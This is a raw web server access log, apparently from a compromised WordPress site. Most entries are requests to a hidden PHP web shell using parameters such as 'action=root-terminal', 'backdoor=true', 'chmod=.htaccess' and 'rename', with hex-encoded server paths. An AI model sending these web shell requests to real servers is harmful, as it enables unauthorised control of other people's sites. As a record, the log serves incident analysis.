[17/Nov/2025:12:24:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3227 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:24:35 +0000] "GET /robots.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:24:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3325 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:24:39 +0000] "GET /assets/backuply-20251107214702/js/blocks/jyECxvwb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:24:39 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3169 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3176 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:24:44 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/upgrade©=assets/assets-20251112184145/assets/assets-20251114194704/js/js/upgrade/wp HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:24:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a636678656473&rename=wp-contentaa HTTP/2" 200 3317 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:47 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3176 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:50 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3280 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3363 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3495 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3192 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:00 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a636678656473&rename=wp-contentaa HTTP/2" 200 3215 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:05 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f7770 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6261636b75706c792f7770 HTTP/2" 200 3379 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:12 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573&rename=includes HTTP/2" 200 3227 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:14 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3283 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f706c7567696e732f706167656c617965722f6d61696e2f7770 HTTP/2" 200 3323 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:19 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=twentytwentyfour&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6e6574776f726b2f7770 HTTP/2" 200 3206 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3321 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373&rename=plugins HTTP/2" 200 3464 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f75706772616465 HTTP/2" 200 3211 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f696e636c75646573 HTTP/2" 200 3215 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:32 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3401 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:34 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:36 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a7175657279 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:38 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6261636b75706c792f7770 HTTP/2" 200 3375 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=plugins&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3392 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3323 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770 HTTP/2" 200 3320 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:46 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d61646d696e61612f6a636678656473 HTTP/2" 200 3096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:48 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f75706772616465 HTTP/2" 200 3255 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:50 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3394 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3103 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=network&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3379 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:56 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73&rename=jquery HTTP/2" 200 3273 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3241 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:25:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3282 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:03 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6a636678656473&rename=wp-contentaa HTTP/2" 200 3273 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:05 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c75646573&rename=includes HTTP/2" 200 3257 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3130 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3306 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f757067726164652f7770 HTTP/2" 200 3230 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c75646573 HTTP/2" 200 3151 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3358 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3235 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373&rename=plugins HTTP/2" 200 3511 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3229 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:23 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f6a7175657279 HTTP/2" 200 3223 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a732f7770 HTTP/2" 200 3354 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d636f6e74656e742f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3321 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a7175657279 HTTP/2" 200 3283 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:30 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3336 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:32 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3405 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:34 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f637373&rename=plugins HTTP/2" 200 3380 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.189.14.143 - - [17/Nov/2025:12:26:34 +0000] "GET /assets/assets-20251112184145/js/assets/includes/plugins/wps-hide-login/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.72 Version/17.0 Mobile/15E148 Safari/604.1" 14.231.72.120 - - [17/Nov/2025:12:23:08 +0000] "GET /assets/assets-20251112184145/upgrade/js/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) 